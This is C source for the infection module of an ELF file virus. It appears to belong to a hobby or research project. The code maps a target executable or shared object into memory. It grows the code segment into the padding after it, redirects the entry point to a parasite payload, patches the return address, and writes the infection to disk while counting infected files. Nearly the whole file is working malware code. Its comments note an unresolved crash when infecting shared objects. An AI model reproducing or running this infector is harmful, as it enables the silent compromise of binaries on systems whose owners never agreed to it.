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evil_elf.c
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evil_elf.c
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// Author : Abhinav Thakur
// Email : compilepeace@gmail.com
// Description : This module contains the actual infection code
#include <stdio.h>
#include <string.h>
#include <elf.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include "color.h"
#include "operations.h"
/******************** ALGORITHM *********************
--- Load parasite from file into memory
1. Get parasite_size and parasite_code addresss (location in allocated memory)
--- Find padding_size between CODE segment and the NEXT segment after CODE segment
2. CODE segment : increase
-> p_filesz (by parasite size)
-> p_memsz (by parasite size)
Get and Set respectively,
padding_size = (offset of next segment (after CODE segment)) - (end of CODE segment)
parasite_offset = (end of CODE segment) or (end of last section of CODE segment)
--- PATCH Host entry point
3. Save original_entry_point (e_entry) and replace it with parasite_offset
--- PATCH SHT
4. Find the last section in CODE Segment and increase -
-> sh_size (by parasite size)
--- PATCH Parasite offset
5. Find and replace Parasite jmp exit addresss with original_entry_point 0x????????
--- Inject Parasite to Host @ host_mapping
6. Inject parasite code to (host_mapping + parasite_offset)
7. Write infection to disk x_x
*/
// CRITICAL GLOBAL VARIABLES
Elf64_Addr parasite_load_address; // parasite entry point (if parasite is LSB EXEC)
Elf64_Off parasite_offset; // Parasite entry point (if parasite is .so)
uint64_t parasite_size;
int8_t *parasite_code; // Parasite residence (in memory before meeting its host )
Elf64_Addr original_entry_point; // Host entry point
Elf64_Off code_segment_end_offset; // Location to inject parasite
uint64_t host_file_size; // Host binary size (on disk)
unsigned int infected_count = 0; // An extern variable used in main()
int HOST_IS_EXECUTABLE = 0; // Host is LSB Executable
int HOST_IS_SHARED_OBJECT = 0; // Host is a Shared Object
void ElfParser(char *filepath)
{
// Mapping host_binary in memory
void *host_mapping = mmapFile(filepath);
// Identify the binary & SKIP Relocatable, files and 32-bit class of binaries
Elf64_Ehdr *host_header = (Elf64_Ehdr *) host_mapping;
if ( host_header->e_type == ET_REL ||
host_header->e_type == ET_CORE ) return;
else if ( host_header->e_type == ET_EXEC ){ HOST_IS_EXECUTABLE = 1; HOST_IS_SHARED_OBJECT = 0;}
else if ( host_header->e_type == ET_DYN ){ HOST_IS_SHARED_OBJECT = 1; HOST_IS_EXECUTABLE = 0;}
if ( host_header->e_ident[EI_CLASS] == ELFCLASS32 ) return;
// Load Parasite into memory (from disk), uses extern 'parasite_path_for_exec' defined in main.c implicitly
if (HOST_IS_EXECUTABLE) LoadParasite(parasite_path_for_exec);
else if (HOST_IS_SHARED_OBJECT) LoadParasite(parasite_path_for_so);
// Get Home size (in bytes) of parasite residence in host
// and check if host's home size can accomodate a parasite this big in size
Elf64_Off padding_size = GetPaddingSize(host_mapping);
if (padding_size < parasite_size)
{
fprintf(stderr, RED"[+]"RESET" Host "YELLOW"%s"RESET" cannot accomodate parasite, parasite is angry "RED"x_x \n"RESET, filepath);
return;
}
// Save original_entry_point of host and patch host entry point with parasite_offset
original_entry_point = host_header->e_entry;
if (HOST_IS_EXECUTABLE)
host_header->e_entry = parasite_load_address;
else if (HOST_IS_SHARED_OBJECT)
host_header->e_entry = parasite_offset;
// Patch SHT
PatchSHT(host_mapping);
// ?????????????????????????????????????????????????????????????????????????????????????????????
// Patch Parasite jmp-on-exit address. This step causing SIGSEGV. Since nearly all binaries are
// in the form of shared objects (which uses offsets instead of absolute addresses), we need to
// figure out the runtime address (rather than offset) of the first instruction the host
// originally intended to execute at RUNTIME. This has to be calculated by our parasite code at
// RUNTIME since all modern systems come with mitigation called ASLR due to which the binary has
// a different runtime address each time it is loaded into memory.
// POSSIBLE Solution - Parasite should include code that figures out what base address is the
// binary alloted at runtime so that it transfers the code back to the host
// stealthily.
if (HOST_IS_EXECUTABLE) FindAndReplace(parasite_code, 0xAAAAAAAAAAAAAAAA, original_entry_point);
else if (HOST_IS_SHARED_OBJECT) {
// Different case for SO - In case our parasite has more placeholders for so infection.
FindAndReplace(parasite_code, 0xAAAAAAAAAAAAAAAA, original_entry_point);
}
// ????????????????????????????????????????????????????????????????????????????????????????????
// Inject parasite in Host
memcpy( (host_mapping + parasite_offset), parasite_code, parasite_size);
//DumpMemory(host_mapping + parasite_offset, parasite_size);
// DEBUG
fprintf(stdout, BLUE"[+]"RED" Infected x_x"RESET" : "GREEN"%s\n"RESET, filepath);
// Unmaping host
munmap(host_mapping, host_file_size);
++infected_count;
}
// Finds the placeholder (for address where our parasite code will jump after executing its body) and
// writes the host's entry point (original entry point address) to it. This should silently transfer
// the code flow to the original intended code after the parasite body executes.
void FindAndReplace(uint8_t *parasite, long find_value, long replace_value)
{
uint8_t *ptr = parasite;
int i = 0;
for (i=0 ; i < parasite_size ; ++i)
{
long current_QWORD = *((long *)(ptr + i));
if ( !(find_value ^ current_QWORD) )
{
*((long *)(ptr + i)) = replace_value;
return;
}
}
}
// Patch SHT (i.e. find the last section of CODE segment and increase its size by parasite_size)
void PatchSHT(void *map_addr)
{
Elf64_Ehdr *elf_header = (Elf64_Ehdr *) map_addr;
Elf64_Off sht_offset = elf_header->e_shoff;
uint16_t sht_entry_count = elf_header->e_shnum;
Elf64_Off current_section_end_offset;
// Point shdr (Pointer to iterate over SHT) to the last entry of SHT
Elf64_Shdr *section_entry = (Elf64_Shdr *) (map_addr + sht_offset);
int i;
for ( i=0 ; i < sht_entry_count ; ++i )
{
current_section_end_offset = section_entry->sh_offset + section_entry->sh_size;
if ( code_segment_end_offset == current_section_end_offset) {
// This is the last section of CODE Segment
// Increase the sizeof this section by a parasite_size to accomodate parasite
section_entry->sh_size = section_entry->sh_size + parasite_size;
return;
}
// Move to the next section entry
++section_entry;
}
}
// Returns gap size (accomodation for parasite code in padding between CODE segment and next segment
// after CODE segment)
Elf64_Off GetPaddingSize(void *host_mapping)
{
Elf64_Ehdr *elf_header = (Elf64_Ehdr *) host_mapping;
uint16_t pht_entry_count = elf_header->e_phnum;
Elf64_Off pht_offset = elf_header->e_phoff;
// Point to first entry in PHT
Elf64_Phdr *phdr_entry = (Elf64_Phdr *)(host_mapping + pht_offset);
// Parse PHT entries
uint16_t CODE_SEGMENT_FOUND = 0;
int i;
for ( i = 0 ; i < pht_entry_count ; ++i)
{
// PF_X (1 << 0)
// PF_W (1 << 1)
// PF_R (1 << 2)
// Find the CODE Segment (containing .text section)
if (CODE_SEGMENT_FOUND == 0 &&
phdr_entry->p_type == PT_LOAD &&
phdr_entry->p_flags == (PF_R | PF_X) )
{
CODE_SEGMENT_FOUND = 1;
// Calculate the offset where the code segment ends to bellow calculate padding_size
code_segment_end_offset = phdr_entry->p_offset + phdr_entry->p_filesz;
parasite_offset = code_segment_end_offset;
parasite_load_address = phdr_entry->p_vaddr + phdr_entry->p_filesz;
// Increase its p_filesz and p_memsz by parasite_size (to accomodate parasite)
phdr_entry->p_filesz = phdr_entry->p_filesz + parasite_size;
phdr_entry->p_memsz = phdr_entry->p_memsz + parasite_size;
}
// Find next segment after CODE Segment and calculate padding size
if (CODE_SEGMENT_FOUND == 1 &&
phdr_entry->p_type == PT_LOAD &&
phdr_entry->p_flags == (PF_R | PF_W))
{
// Return padding_size (maximum size of parasite that host can accomodate in its
// padding between the end of CODE segment and start of next loadable segment)
return (phdr_entry->p_offset - parasite_offset);
}
++phdr_entry;
}
return 0;
}
// Loads parasite code into memory and defines parasite_code and parasite_size variables
void LoadParasite(char *parasite_path)
{
// Open parasite code
int parasite_fd = open(parasite_path, O_RDONLY);
if (parasite_fd == -1)
{
perror("[-] In evil_elf.c - LoadParasite(), open():");
exit(0x60);
}
// Get the parasite_size using lstat() syscall
struct stat statbuf;
if ( lstat(parasite_path, &statbuf) != 0 )
{
perror("[-] In evil_elf.c - LoadParasite(), lstat():");
exit(0x61);
}
// Initializing parasite_size and allocating space for parasite_code
parasite_size = statbuf.st_size;
parasite_code = (int8_t *)malloc(parasite_size);
if (parasite_code == NULL)
{
fprintf(stderr, "[-] evil_elf.c, InjectParasiteCode() : Out of memory\n");
exit(0x61);
}
// Load actual poison @ parasite_code (allocated memory on heap)
int bytes_read = read(parasite_fd, parasite_code, parasite_size);
if (bytes_read == -1)
{
perror(RED"[-]"RESET" In evil_elf.c, LoadParasite() - read():");
exit(0x62);
}
close(parasite_fd);
}
// Opening and Mapping file in memory
void *mmapFile(char *file)
{
// Open the file
int fd = open(file, O_RDWR);
if (fd == -1) {
perror(RED"[-]"RESET"evil_elf.c - mmapFile() - open():");
exit(0x60);
}
// Get the host_file_size using lstat()
struct stat statbuf;
if (lstat(file, &statbuf) != 0) {
perror(RED"[-]"RESET"elf.c - Infect(), lstat():");
exit(0x61);
}
host_file_size = statbuf.st_size;
// Map the file into memory for instrumentation.
// NOTE: If mapping is MAP_SHARED mmap will perform COPY-ON-WRITE to fd.
// else if mapping is MAP_PRIVATE, no COPY-ON-WRITE will be performed.
void *map_address = mmap(NULL, host_file_size, PROT_WRITE, MAP_SHARED, fd, 0);
if (map_address == MAP_FAILED) {
perror("evil_elf.c - Infect(), mmap():");
exit(0x62);
}
close(fd);
return map_address;
}
// Helper function : Dump memory region
void DumpMemory(void *address, uint64_t size)
{
uint8_t *iterator = address;
uint64_t i;
for (i=0; i<size; ++i)
{
fprintf(stdout, YELLOW"%02x "RESET, *(iterator + i));
}
}